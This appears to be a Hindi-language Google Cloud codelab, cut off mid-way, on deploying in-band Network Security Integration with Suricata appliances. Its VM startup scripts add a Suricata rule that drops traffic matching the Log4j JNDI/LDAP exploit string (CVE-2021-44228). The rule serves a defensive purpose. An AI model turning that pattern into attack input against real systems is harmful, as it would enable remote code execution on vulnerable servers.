1. परिचय
Network Security Integration
Network Security Integration (NSI) की मदद से, अपने वर्कलोड के लिए नेटवर्क सुरक्षा को बेहतर बनाया जा सकता है. आपको तीसरे पक्ष के इंडिपेंडेंट सॉफ़्टवेयर वेंडर (आईएसवी) से, खास तौर पर तैयार किया गया कोई ऐप्लिकेशन इस्तेमाल करना पड़ सकता है. इसके अलावा, पेलोड की जांच करने के लिए, डीप पैकेट इंस्पेक्शन (डीपीआई) इंजन का इस्तेमाल किया जा सकता है. Google Cloud, तीसरे पक्ष के इन डिवाइसों के साथ आसानी से इंटिग्रेट करने की सुविधा देता है. इससे, डिवाइसों को बिना किसी नेटवर्क या राउटिंग में बदलाव किए आसानी से डिप्लॉय किया जा सकता है.
Google Cloud, नेटवर्क सुरक्षा इंटिग्रेशन के दो वर्शन उपलब्ध कराता है - आउट-ऑफ़-बैंड और इन-बैंड. इस लैब में, इन-बैंड नेटवर्क सुरक्षा इंटिग्रेशन को डिप्लॉय करने का तरीका बताया गया है.
इन-बैंड नेटवर्क सिक्योरिटी इंटिग्रेशन
नेटवर्क सुरक्षा इंटिग्रेशन, पैकेट इंटरसेप्ट टेक्नोलॉजी का इस्तेमाल करके इन-बैंड इंटिग्रेशन उपलब्ध कराता है. इससे, Google Cloud वर्कलोड की पूरी तरह से जांच करने के लिए, नेटवर्क ट्रैफ़िक के पाथ में तीसरे पक्ष के नेटवर्क ऐप्लिकेशन रखे जा सकते हैं. यह प्रोसेस, Generic Network Virtualization Encapsulation (GENEVE) का इस्तेमाल करती है. इससे, ओरिजनल सोर्स और डेस्टिनेशन आईपी पतों में बदलाव किए बिना, पैकेट को सुरक्षित तरीके से डिवाइस तक पहुंचाया जा सकता है.
इन-बैंड इंटिग्रेशन, तीसरे पक्ष के इनलाइन नेटवर्क ऐप्लिकेशन को बंप-इन-द-वायर मोड में डिप्लॉय और इस्तेमाल करने के लिए, सेवा पर आधारित तरीका उपलब्ध कराता है. सेवा देने वाली कंपनी के तौर पर, तीसरे पक्ष के नेटवर्क ऐप्लिकेशन के ऐसे सेट को पब्लिश किया जा सकता है जिसे इंटरसेप्ट डिप्लॉयमेंट के तौर पर इस्तेमाल किया जा सकता है. सेवा का इस्तेमाल करने वाले व्यक्ति के तौर पर, Cloud Next Generation Firewall की नीतियों और नियमों का इस्तेमाल किया जा सकता है. इससे, ट्रैफ़िक को बारीकी से चुना जा सकता है, ताकि उसे जांच के लिए स्थानीय इंटरसेप्ट एंडपॉइंट पर पारदर्शी तरीके से रीडायरेक्ट किया जा सके.

पहली इमेज. इन-बैंड इंटिग्रेशन सेवा का डिप्लॉयमेंट आर्किटेक्चर
इन-बैंड एनएसआई इंटिग्रेशन के बारे में ज़्यादा जानने के लिए, इन-बैंड इंटिग्रेशन की खास जानकारी देखें.
In-band Service Producer
सर्विस प्रोड्यूसर, तीसरे पक्ष के ऐसे ऐप्लिकेशन होते हैं जहां तीसरे पक्ष के ऐप्लिकेशन को डिप्लॉय और मैनेज किया जाता है. इसे आपके संगठन का कोई व्यक्ति (सुरक्षा टीम वगैरह) या कोई बाहरी वेंडर मैनेज कर सकता है. प्रोड्यूसर, अपनी वर्चुअल मशीनों को रजिस्टर करते हैं. ये वर्चुअल मशीनें, तीसरे पक्ष के ऐप्लिकेशन हो सकती हैं. इन्हें अपने वीपीसी नेटवर्क में मौजूद इंटरनल पासथ्रू नेटवर्क लोड बैलेंसर के बैकएंड के तौर पर रजिस्टर किया जाता है. ये डिवाइस, नेटवर्क ट्रैफ़िक की जांच करते हैं. इस ट्रैफ़िक को इन डिवाइसों पर रीडायरेक्ट किया जाता है. इसके बाद, सेवा देने वाली कंपनियां इंटरसेप्ट डिप्लॉयमेंट बनाती हैं. यह एक ज़ोनल संसाधन है, जो इंटरनल पासथ्रू नेटवर्क लोड बैलेंसर के फ़ॉरवर्डिंग नियम की ओर इशारा करता है.
इंटरसेप्ट डिप्लॉयमेंट, ज़ोनल संसाधन होता है. यह किसी खास ज़ोन के लिए, प्रोड्यूसर की निरीक्षण सेवा को दिखाता है. प्रोड्यूसर, उन सभी ज़ोन के लिए इंटरसेप्ट डिप्लॉयमेंट बनाते हैं जहां उन्होंने अपने वीएम डिप्लॉय किए हैं.
इंटरसेप्ट डिप्लॉयमेंट ग्रुप, ग्लोबल और प्रोजेक्ट के स्कोप वाला एक रिसॉर्स होता है. इसकी मदद से, उपभोक्ता, प्रोड्यूसर की जांच सेवाओं से जुड़ सकते हैं. प्रोड्यूसर, इंटरसेप्ट डिप्लॉयमेंट ग्रुप बनाते हैं, ताकि एक से ज़्यादा ज़ोनल इंटरसेप्ट डिप्लॉयमेंट को एक साथ ग्रुप किया जा सके. प्रोड्यूसर, IAM का इस्तेमाल करके यह कंट्रोल करते हैं कि कौनसे उपभोक्ता उनके डिप्लॉयमेंट ग्रुप से कनेक्ट हो सकते हैं.
ज़्यादा जानकारी के लिए, इंटरसेप्ट डिप्लॉयमेंट ग्रुप की खास जानकारी और इंटरसेप्ट डिप्लॉयमेंट की खास जानकारी लेख पढ़ें.
इन-बैंड सर्विस कंज़्यूमर
सेवा का इस्तेमाल करने वाले लोग, सेवा देने वाली कंपनियों की ओर से दी जाने वाली जांच सेवाओं का इस्तेमाल करते हैं. उपयोगकर्ता यह तय करते हैं कि उन्हें किन वीपीसी की जांच करानी है और किस प्रोड्यूसर से करानी है. इसके लिए, उपभोक्ता एक इंटरसेप्ट एंडपॉइंट ग्रुप बनाते हैं. यह एक ग्लोबल संसाधन होता है, जो प्रोड्यूसर-कंज्यूमर के बीच के संबंध को दिखाता है. इसके बाद, वे इंटरसेप्ट एंडपॉइंट ग्रुप को प्रोड्यूसर के इंटरसेप्ट डिप्लॉयमेंट ग्रुप से लिंक करते हैं.
जिन वीपीसी से ट्रैफ़िक की जांच करनी है उनसे इंटरसेप्ट एंडपॉइंट ग्रुप को जोड़ने के लिए, उपभोक्ता इंटरसेप्ट एंडपॉइंट ग्रुप असोसिएशन बनाते हैं. उपयोगकर्ता, नेटवर्क फ़ायरवॉल की नीतियां बनाते और उनका इस्तेमाल करते हैं. इससे वे उस ट्रैफ़िक को चुन पाते हैं जिसे जांच के लिए प्रोड्यूसर को भेजा जाना चाहिए. उपयोगकर्ता, सुरक्षा प्रोफ़ाइल ग्रुप बनाते हैं. इसमें एक सुरक्षा प्रोफ़ाइल होती है, जो उनके इंटरसेप्ट एंडपॉइंट ग्रुप को रेफ़र करती है. इसके बाद, खरीदार फ़ायरवॉल का नियम बनाते हैं, ताकि खास शर्तों को पूरा करने वाले ट्रैफ़िक को प्रॉड्यूसर के डिवाइसों पर रीडायरेक्ट किया जा सके.
इंटरसेप्ट एंडपॉइंट ग्रुप(आईईजी), प्रोजेक्ट लेवल का संसाधन होता है. हालांकि, आईईजी और आईईजी असोसिएशन का एक ही प्रोजेक्ट में होना ज़रूरी नहीं है. आपके संगठन के किसी अन्य प्रोजेक्ट में, IEG के साथ IEG असोसिएशन को रेफ़रंस किया जा सकता है. यह प्रोड्यूसर-कंज्यूमर के बीच के संबंध में, कंज्यूमर की भूमिका को दिखाता है. उपयोगकर्ता, प्रोड्यूसर की जांच सेवा का इस्तेमाल करने के लिए, इंटरसेप्ट एंडपॉइंट ग्रुप बनाते हैं. उपयोगकर्ता के हर इंटरसेप्ट एंडपॉइंट ग्रुप को, सेवा देने वाली कंपनी के इंटरसेप्ट डिप्लॉयमेंट ग्रुप से जोड़ा जाता है.
ज़्यादा जानकारी के लिए, इंटरसेप्ट एंडपॉइंट ग्रुप और असोसिएशन की खास जानकारी लेख पढ़ें.
उपयोगकर्ताओं को फ़ायरवॉल नीति का नियम बनाना होगा, ताकि वे ट्रैफ़िक को अपने इंटरसेप्ट एंडपॉइंट ग्रुप पर रीडायरेक्ट कर सकें. खरीदार, फ़ायरवॉल की नीति के नियम में मैचिंग की शर्तें तय कर सकते हैं. इससे वे यह तय कर सकते हैं कि निर्माता के डिवाइसों को किस तरह के ट्रैफ़िक की जांच करनी है.
उपयोगकर्ता, कस्टम इंटरसेप्ट सिक्योरिटी प्रोफ़ाइल बनाते हैं. इससे यह तय किया जाता है कि ट्रैफ़िक की जांच करने के लिए, किस इंटरसेप्ट एंडपॉइंट ग्रुप का इस्तेमाल किया जाना चाहिए.
उपयोगकर्ता, सुरक्षा प्रोफ़ाइल ग्रुप बनाते हैं. इससे सुरक्षा जांच की उन सुविधाओं का ग्रुप तय किया जाता है जिन्हें ट्रैफ़िक के किसी सबसेट पर लागू किया जाना चाहिए. सुरक्षा प्रोफ़ाइल ग्रुप में, इंटरसेप्ट करने की कस्टम सुरक्षा प्रोफ़ाइल होती है.
आपको क्या बनाने को मिलेगा

दूसरी इमेज. इस कोडलैब के लिए, डिप्लॉयमेंट आर्किटेक्चर की खास जानकारी
इस कोडलैब को आसान बनाने के लिए, आपको एक ही प्रोजेक्ट का इस्तेमाल करना होगा. साथ ही, दो वीपीसी नेटवर्क बनाने होंगे. इसके अलावा, आपको कई नेटवर्क और सुरक्षा संसाधनों को मैनेज करना होगा. इस लैब में, तीसरे पक्ष के ऐप्लिकेशन के साथ इन-बैंड नेटवर्क सेवा इंटिग्रेशन को डिप्लॉय करने का तरीका दिखाया जाएगा. इससे सुरक्षा को पारदर्शी तरीके से लागू किया जा सकेगा.
जांच किए जाने वाले फ़्लो को Cloud Firewall के मैचिंग पैरामीटर का इस्तेमाल करके चुना जाएगा. इनमें 5-टपल (सोर्स आईपी, डेस्टिनेशन आईपी, प्रोटोकॉल, सोर्स पोर्ट, डेस्टिनेशन पोर्ट) शामिल हैं. इस लैब को आसान बनाने के लिए, टीसीपी पोर्ट 80 पर सभी EGRESS ट्रैफ़िक की जांच की जाएगी.
प्रोड्यूसर, डेस्टिनेशन पोर्ट 6081 वाले यूडीपी पैकेट के लिए, प्रोड्यूसर वीपीसी सबनेट गेटवे आईपी (10.0.0.1/32) से इनग्रेस की अनुमति देगा. यह GENEVE के लिए जाना-माना पोर्ट है.
नेटवर्क फ़ायरवॉल की नीति के नियमबेस की आखिरी स्थिति, यहां दी गई टेबल जैसी होगी:
Producer Network Policy:
प्राथमिकता | दिशा | प्रोटोकॉल | Target | सोर्स | डेस्टिनेशन | Dest Port | कार्रवाई |
100 | इन्ग्रेस डेटा ट्रैफ़िक | सभी | सभी | सेहत से जुड़े आकलन | कोई भी | कोई भी | अनुमति दें |
200 | इन्ग्रेस डेटा ट्रैफ़िक | सभी | सभी | IAP | कोई भी | कोई भी | अनुमति दें |
300 | इन्ग्रेस डेटा ट्रैफ़िक | UDP | सभी | 10.0.0.1/32 | कोई भी | 6081 | अनुमति दें |
उपयोगकर्ता के नेटवर्क से जुड़ी नीति:
प्राथमिकता | दिशा | प्रोटोकॉल | Target | सोर्स | डेस्टिनेशन | Dest Port | कार्रवाई |
200 | इन्ग्रेस डेटा ट्रैफ़िक | TCP | सभी | IAP | कोई भी | 22 | अनुमति दें |
800 | इग्रेस डेटा ट्रैफ़िक | TCP | सभी | कोई भी | कोई भी | 80 | इंटरसेप्ट |
आपको क्या सीखने को मिलेगा
- इन-बैंड Network Security Integration को डिप्लॉय करने का तरीका
आपको किन चीज़ों की ज़रूरत होगी
- Google Cloud संगठन और प्रोजेक्ट
- IAM से जुड़ी ज़रूरी अनुमतियां
- नेटवर्किंग कॉम्पोनेंट को कॉन्फ़िगर करने और इंस्टेंस डिप्लॉय करने की जानकारी
- नेटवर्क की नीति के लिए फ़ायरवॉल कॉन्फ़िगरेशन के बारे में जानकारी
2. शुरू करने से पहले
IAM की भूमिकाएं और अनुमतियां
इन-बैंड नेटवर्क सुरक्षा इंटिग्रेशन (एनएसआई) कोडलैब को पूरा करने के लिए, आपके पास ये IAM भूमिकाएं होनी चाहिए:
- Compute Network Admin (
roles/compute.networkAdmin): इस भूमिका की ज़रूरत, वीपीसी नेटवर्क, सबनेट, Cloud Router, NAT गेटवे, और लोड बैलेंसर बैकएंड सेवाएं बनाने और मैनेज करने के लिए होती है. - कंप्यूट सिक्योरिटी एडमिन (
roles/compute.securityAdmin): ग्लोबल नेटवर्क फ़ायरवॉल की नीतियां और नियम बनाने, कॉन्फ़िगर करने, और उनसे जोड़ने के लिए ज़रूरी है. - Compute इंस्टेंस एडमिन (
roles/compute.instanceAdmin.v1): Suricata ऐप्लिकेशन और उपभोक्ता टेस्टिंग वीएम को डिप्लॉय करने, उनमें एसएसएच करने, और आखिर में उन्हें मिटाने के लिए ज़रूरी है. - इंटरसेप्ट डिप्लॉयमेंट एडमिन (
roles/networksecurity.interceptDeploymentAdmin): इसका इस्तेमाल प्रोड्यूसर, ज़ोनल इंटरसेप्ट डिप्लॉयमेंट और ग्लोबल डिप्लॉयमेंट ग्रुप बनाने और मैनेज करने के लिए करता है. - इंटरसेप्ट एंडपॉइंट एडमिन (
roles/networksecurity.interceptEndpointAdmin): इसका इस्तेमाल ग्राहक, इंटरसेप्ट एंडपॉइंट ग्रुप बनाने और उन्हें अपने वीपीसी नेटवर्क से जोड़ने के लिए करता है. - इंटरसेप्ट डिप्लॉयमेंट उपयोगकर्ता (
roles/networksecurity.interceptDeploymentUser): यह भूमिका, प्रोड्यूसर प्रोजेक्ट में ज़रूरी होती है. इससे उपभोक्ता को प्रोड्यूसर के डिप्लॉयमेंट ग्रुप से कनेक्ट करने की अनुमति दी जा सकती है. - सुरक्षा प्रोफ़ाइल का एडमिन (
roles/networksecurity.securityProfileAdmin): संगठन के लेवल पर, कस्टम इंटरसेप्ट सुरक्षा प्रोफ़ाइलें और सुरक्षा प्रोफ़ाइल ग्रुप बनाने और उन्हें मैनेज करने के लिए ज़रूरी है. - Service Usage Admin (
roles/serviceusage.serviceUsageAdmin): NSI की सुविधाओं के लिए ज़रूरीnetworksecurity.googleapis.comऔरcompute.googleapis.comAPI को चालू करने के लिए यह भूमिका ज़रूरी है. - प्रोजेक्ट व्यूअर (
roles/viewer): इस भूमिका की ज़रूरत, पूरे लैब में इस्तेमाल किए गए एनवायरमेंट वैरिएबल के लिए, प्रोजेक्ट कॉन्फ़िगरेशन और संगठन की जानकारी को वापस पाने के लिए होती है.
Google Cloud API
कृपया पक्का करें कि आपके प्रोजेक्ट में ज़रूरी Google Cloud API चालू हों.
ज़रूरी एपीआई चालू करें और Cloud Shell में यहां दी गई gcloud कमांड चलाएं.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
वैरिएबल बनाना/अपडेट करना
इस कोडलैब में, Cloud Shell में gcloud कॉन्फ़िगरेशन लागू करने में मदद करने के लिए, $variables का इस्तेमाल किया गया है.
Cloud Shell में, नीचे दी गई कमांड चलाएं. साथ ही, ब्रैकेट में दी गई जानकारी को अपनी ज़रूरत के हिसाब से बदलें:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. प्रोड्यूसर की कार्रवाइयां
इस सेक्शन में, प्रोड्यूसर के डिप्लॉयमेंट के बारे में बताया जाएगा. इसमें वीपीसी, तीसरे पक्ष का नेटवर्क वर्चुअल ऐप्लिकेशन, और नेटवर्क सुरक्षा इंटिग्रेशन के लिए ज़रूरी सभी कॉम्पोनेंट को डिप्लॉय करना शामिल है.
वीपीसी और Cloud NAT कॉम्पोनेंट
- वीपीसी और सबनेट बनाएं:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- फ़ायरवॉल के नियम के लिए, सबनेट गेटवे का आईपी पता पाएं:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- प्रोड्यूसर वीपीसी के लिए, फ़ायरवॉल की नीति और नियम बनाएं. ये फ़ायरवॉल के नियम, हेल्थ चेक, IAP, और NSI से मिले ट्रैफ़िक को अंदर आने की अनुमति देंगे:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- प्रोड्यूसर वीपीसी को नेटवर्क फ़ायरवॉल की नीति से जोड़ें:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- ज़रूरी पैकेज और अपडेट डाउनलोड करने के लिए, तीसरे पक्ष के नेटवर्क वर्चुअल ऐप्लायंस (एनवीए) के लिए Cloud Router और Cloud NAT डिप्लॉय करें:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
तीसरे पक्ष के वीएम
इस लैब के लिए, आपको Suricata को डिप्लॉय करना होगा. यह ओपन सोर्स थ्रेट डिटेक्शन सेवा है. इस कमांड में एक स्टार्टअप स्क्रिप्ट होती है, जो Suricata को इंस्टॉल और कॉन्फ़िगर करेगी. यहां iptables भी मौजूद हैं. ये GENEVE पैकेट को मैनेज करने और उनका जवाब देने के लिए, सोर्स नेटवर्क अड्रेस ट्रांसलेशन (एसएनएटी) और डेस्टिनेशन नेटवर्क अड्रेस ट्रांसलेशन (डीएनएटी) करते हैं.
- अपने पहले ज़ोन में तीसरे पक्ष के NVA को डिप्लॉय करें.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- अपने दूसरे ज़ोन में तीसरे पक्ष का NVA डिप्लॉय करें:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
लोड बैलेंसर के कॉम्पोनेंट बनाने वाले
- एक सामान्य हेल्थ चेक बनाएं. इसका इस्तेमाल, तीसरे पक्ष के एनवीए की उपलब्धता की जांच करने के लिए किया जाता है:
gcloud compute health-checks create http nva-hc
- हर ज़ोन के लिए, ज़ोनल अन-मैनेज्ड इंस्टेंस ग्रुप बनाएं:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- अपने इंस्टेंस को इंस्टेंस ग्रुप में जोड़ें:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
पुष्टि करें कि आपके इंस्टेंस ग्रुप में ये इंस्टेंस शामिल हैं. इसके लिए, इन कमांड का इस्तेमाल करें:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
आउटपुट का उदाहरण:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- इंटरनल यूडीपी बैकएंड सेवा बनाएं:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- बैकएंड सेवा में दोनों इंस्टेंस ग्रुप जोड़ें:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- फ़ॉरवर्ड करने के नियमों के लिए, इंटरनल आईपी पते रिज़र्व करें. हर इंटरसेप्ट डिप्लॉयमेंट के लिए, फ़ॉरवर्ड करने का एक यूनीक नियम ज़रूरी है:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- हर ज़ोन के लिए, फ़ॉरवर्ड करने का नियम बनाएं. यह ज़रूरी है, क्योंकि इंटरसेप्ट डिप्लॉयमेंट के लिए, फ़ॉरवर्ड करने का यूनीक नियम ज़रूरी होता है:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Network Security Integration Components
- इंटरसेप्ट डिप्लॉयमेंट ग्रुप बनाने के लिए:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
पुष्टि करें कि डिप्लॉयमेंट ग्रुप बन गया है:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
आउटपुट का उदाहरण:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- हर ज़ोन के लिए, इंटरसेप्ट डिप्लॉयमेंट बनाएं:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
पुष्टि करें कि इंटरसेप्ट डिप्लॉयमेंट सही तरीके से बनाए गए हैं:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
आउटपुट का उदाहरण:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
बधाई हो, आपने प्रोड्यूसर के तौर पर सेटअप पूरा कर लिया है. इसके बाद, आपको उपभोक्ता के लिए कॉन्फ़िगरेशन करना होगा, ताकि ट्रैफ़िक को इंटरसेप्ट किया जा सके. साथ ही, इसे तीसरे पक्ष के डिवाइसों को भेजा जा सके, ताकि नीति लागू की जा सके.
4. उपयोगकर्ता की कार्रवाइयां
इस लैब में, आसानी से समझने के लिए एक ही प्रोजेक्ट में अलग-अलग वीपीसी का इस्तेमाल किया गया है. हालांकि, असल दुनिया के एनवायरमेंट में, प्रोड्यूसर और कंज्यूमर के संसाधन अलग-अलग प्रोजेक्ट या अलग-अलग संगठनों में भी मौजूद हो सकते हैं.
वीपीसी और Cloud NAT कॉम्पोनेंट
- वीपीसी और सबनेट बनाएं:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Cloud Router और Cloud NAT गेटवे बनाएं:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
इंटरसेप्ट एंडपॉइंट ग्रुप और असोसिएशन
- इंटरसेप्ट एंडपॉइंट ग्रुप बनाएं:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
इस बात की पुष्टि करना कि एंडपॉइंट बन गया है:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
आउटपुट का उदाहरण:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- उपयोगकर्ता वीपीसी के बारे में बताते हुए, इंटरसेप्ट एंडपॉइंट ग्रुप का असोसिएशन बनाएं:
